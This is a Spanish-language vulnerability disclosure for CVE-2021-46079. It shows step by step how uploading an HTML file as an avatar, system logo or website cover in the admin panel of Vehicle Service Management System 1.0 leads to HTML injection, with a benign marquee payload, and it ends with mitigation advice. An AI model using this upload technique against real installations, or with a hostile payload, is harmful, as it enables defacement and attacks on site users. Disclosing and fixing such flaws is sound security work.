CVE-2021-46079
Título del exploit: Vehicle Service Management System - 'Múltiple' carga de archivos conduce a inyección de HTML
Autor del exploit: SANU P.L
CVE: CVE-2021-46079
CVSS: 7.2 HIGH
Referencias:
Descripción:
Existe una vulnerabilidad de carga de archivos sin restricciones en Sourcecodester Vehicle Service Management System 1.0. Un atacante remoto puede cargar archivos maliciosos que conducen a inyección de HTML.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Inicie sesión en el panel de administración http://localhost/vehicle_service/admin
- Vaya a la sección My Account http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Guarde el código HTML anterior, por ejemplo: Html Injection.html
- En la sección My Account, introduzca todos los detalles requeridos y busque el archivo html en Avatar.
- Haga clic en el botón de actualizar.
- Abra la imagen de avatar en una nueva pestaña.
- Se ejecuta la inyección de HTML.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- Inicie sesión en el panel de administración http://localhost/vehicle_service/admin
- Vaya a la sección User List y haga clic en el botón Create New.
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Guarde el código HTML anterior, por ejemplo: Html Injection.html
- En la página Create New User, introduzca todos los detalles requeridos y busque el archivo html en Avatar.
- Haga clic en el botón Save.
- Abra la imagen de avatar en una nueva pestaña.
- Se ejecuta la inyección de HTML.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Exploit:
- Inicie sesión en el panel de administración http://localhost/vehicle_service/admin
- Vaya a la sección Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Guarde el código HTML anterior, por ejemplo: Html Injection.html
- En la sección Settings, introduzca todos los detalles requeridos y busque el archivo html en System Logo.
- Haga clic en el botón de actualizar.
- Abra la imagen del logotipo del sistema en una nueva pestaña.
- Se ejecuta la inyección de HTML.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
- Inicie sesión en el panel de administración http://localhost/vehicle_service/admin
- Vaya a la sección Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Guarde el código HTML anterior, por ejemplo: Html Injection.html
- En la sección Settings, introduzca todos los detalles requeridos y busque el archivo html en Website Cover.
- Haga clic en el botón de actualizar.
- Abra la imagen de portada del sitio web en una nueva pestaña.
- Se ejecuta la inyección de HTML.
Impacto:
Un atacante puede cargar archivos maliciosos en múltiples endpoints, lo que conduce a inyección de HTML.
Mitigación:
Se recomienda implementar lo siguiente:
- Nunca acepte un nombre de archivo y su extensión directamente sin tener un filtro de lista blanca.
- Si no hay necesidad de tener caracteres Unicode, es muy recomendable aceptar solo caracteres alfanuméricos y solo un punto como entrada para el nombre del archivo y la extensión.
- Limite el tamaño del archivo a un valor máximo para prevenir ataques de denegación de servicio.
- El directorio de carga no debe tener ningún permiso de "ejecución".
- No confíe únicamente en la validación del lado del cliente.